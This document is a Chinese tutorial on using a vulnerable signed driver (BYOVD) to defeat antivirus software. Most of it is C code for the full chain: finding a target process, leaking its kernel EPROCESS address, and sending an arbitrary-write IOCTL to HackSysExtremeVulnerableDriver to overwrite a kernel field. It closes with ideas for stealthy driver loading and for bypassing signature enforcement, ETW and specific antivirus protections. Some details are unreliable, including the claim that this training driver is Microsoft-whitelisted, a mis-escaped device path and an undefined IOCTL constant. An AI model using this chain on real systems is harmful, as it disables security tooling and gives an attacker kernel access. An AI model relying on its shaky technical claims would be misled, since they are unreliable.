基于 BYOVD 的 Windows 内核态任意写(Arbitrary Write)免杀技术教学文档
一、背景概述
传统用户态免杀技术(如 DLL 注入、加载器分离、多重加密拼组、DLL 白加黑、加壳、签名等)在面对 Windows 10/11 激进的杀软策略时逐渐失效。杀软引入了大量底层 API Hook,即使代码经过高强度加密,最终在内存中拼凑还原时仍会触发 API 监控点。
因此,需要从更底层——内核态——寻找突破路径。核心思路是绕过 Ring 3 层的 API Hook,直接通过 System Call 进入 Ring 0 层操作内核内存。
二、核心技术原理
2.1 绕过用户态 Hook 的思路
Windows 底层 API 之下存在 System Call(系统调用),即内核方法的入口。程序若能直接发起内核调用,即可绕过用户态杀软的 API Hook 监控。但普通程序不具备随意读写内核内存的权限,且未经微软签名的驱动程序无法被系统加载。
2.2 BYOVD(Bring Your Own Vulnerable Driver)概念
BYOVD 指利用已被微软签名认证但存在漏洞的合法驱动程序,将其加载到系统中,然后通过漏洞接口实现内核态任意内存读写。
核心流程:
- 找到一个微软白名单中的漏洞驱动(如 HackSysExtremeVulnerableDriver)
- 将驱动加载到目标系统
- 通过
DeviceIoControlAPI 与该驱动通信 - 利用驱动中存在的任意写漏洞,向指定内核地址写入任意数据
2.3 漏洞驱动的典型脆弱代码模式
// 直接获取用户态传入的原始结构体指针
PWRITE_WHAT_WHERE pBuf = (PWRITE_WHAT_WHERE)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
// 直接赋值
ULONG_PTR what = *(pBuf->What);
PULONG_PTR where = pBuf->Where;
// 用 Ring 0 权限向攻击者指定的任意内核地址写入任意数据
*where = what;
上述代码缺乏对用户传入指针的合法性校验,允许攻击者指定任意内核地址进行写入。
三、完整攻击链路分解
3.1 第一步:获取目标进程 PID
使用 Windows API CreateToolhelp32Snapshot 拍摄当前系统进程快照,遍历进程列表匹配目标进程名称,获取其 PID。
DWORD GetProcessIdByPID(const wchar_t* procName) {
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W entry;
entry.dwSize = sizeof(entry); // 微软文档要求必须初始化 dwSize
if (Process32FirstW(snapshot, &entry)) {
do {
if (wcscmp(entry.szExeFile, procName) == 0) {
pid = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
}
return pid;
}
注意事项:
PROCESSENTRY32W结构的dwSize字段必须在使用前初始化为结构体大小,否则 API 调用会失败。CreateToolhelp32Snapshot可以捕获当前所有进程的状态快照。
3.2 第二步:获取目标进程的内核 EPROCESS 结构地址
EPROCESS 是 Windows 内核中代表每个进程的结构体,包含进程的所有关键信息。获取该地址是通过句柄表遍历实现的。
3.2.1 打开目标进程句柄
HANDLE hTargetProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
3.2.2 调用未公开 API NtQuerySystemInformation
使用 NtQuerySystemInformation 查询系统句柄信息表。需要注意:
- 该 API 未在 MSDN 公开文档中正式列出
- 需要先查询所需缓冲区大小,再进行二次调用分配足够内存
- 分两次传参可以减少对主机的异常影响
// 第一次调用获取所需缓冲区大小
NTSTATUS status = NtQuerySystemInformation(
SystemHandleInformation,
NULL,
0,
&bufferSize
);
// 根据返回大小分配内存
PVOID pHandleInfo = VirtualAlloc(NULL, bufferSize, MEM_COMMIT, PAGE_READWRITE);
// 第二次调用获取实际句柄信息
status = NtQuerySystemInformation(
SystemHandleInformation,
pHandleInfo,
bufferSize,
NULL
);
3.2.3 遍历句柄表定位目标进程
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
if (pHandleInfo->Handles[i].UniqueProcessId == currentPid &&
(HANDLE)(ULONG_PTR)pHandleInfo->Handles[i].HandleValue == hTargetProc) {
EprocessAddress = (ULONG_PTR)pHandleInfo->Handles[i].Object;
break;
}
}
这里的逻辑是:在当前进程中查找指向目标进程的句柄条目,其 Object 字段即为目标进程的 EPROCESS 内核地址。
3.3 第三步:计算目标内存偏移
不同 Windows 版本中,EPROCESS 结构内部各字段的偏移量不同。例如,控制进程是否被终止的标志位可能位于 0x4B8 偏移处(具体值需根据目标系统版本确定)。
推荐使用 WinDbg 进行调试,可以一次性确定准确的偏移值,避免盲目尝试导致系统崩溃。
PULONG_PTR TargetAddress = (PULONG_PTR)((ULONG_PTR)EprocessAddress + 0x4B8);
ULONG_PTR ValueToWrite = 0x0000000000000000; // 写入 0 以触发终止
3.4 第四步:通过漏洞驱动执行内核写入
3.4.1 打开设备句柄
HANDLE hDevice = CreateFileA(
"\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
3.4.2 构造 IOCTL 请求
定义通信数据结构:
typedef struct _WRITE_WHAT_WHERE {
PVOID What; // 要写入的数据指针
PVOID Where; // 目标地址指针
} WRITE_WHAT_WHERE;
发送 IOCTL 控制码:
WRITE_WHAT_WHERE POC;
POC.What = (PVOID)&ValueToWrite;
POC.Where = (PVOID)TargetAddress;
DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(
hDevice,
HAVE_IOCTL_ARBITRARY_WRITE, // 驱动定义的任意写控制码
&POC,
sizeof(POC),
NULL,
0,
&bytesReturned,
NULL
);
3.5 第五步:验证结果
若写入成功,目标进程(如记事本)将被强制终止,弹出提示框确认实验成功。
四、关键技术难点与注意事项
4.1 内存分配问题
在申请句柄信息表缓冲区时,若内存分配不足会导致蓝屏。需要通过 NtQuerySystemInformation 先查询所需大小,再精确分配。
4.2 版本兼容性
不同 Windows 版本(Win10 不同 Build、Win11)的 EPROCESS 结构偏移量不同。必须在目标系统上使用 WinDbg 确认具体偏移值,不能硬编码。
4.3 驱动加载方式
实际攻击中需要隐蔽地加载漏洞驱动,涉及更高级的技术:
- 使用未公开 API 进行隐式加载
- 绕过驱动签名强制策略
- 避免被杀软的行为检测引擎捕获
4.4 权限要求
整个过程需要管理员权限才能加载驱动和执行内核操作。
五、扩展方向
本文仅展示 BYOVD 技术的基础应用,更深入的进阶内容包括:
- 多种隐式驱动加载方法
- 绕过 ETW(Event Tracing for Windows)监控
- 结合其他未公开 API 实现更隐蔽的操作
- 针对不同杀软内核防护机制的差异化绕过策略
六、总结
BYOVD 技术的本质是“借刀杀人”——利用微软自身签名的漏洞驱动,合法地获得内核态任意内存写入能力。该技术绕过了传统的用户态 API Hook 检测体系,是目前对抗主流杀软内核监控的有效手段之一。
掌握此技术需要对 Windows 内核架构、驱动开发、进程管理有深入理解,并具备在不同系统版本上进行偏移调试的能力。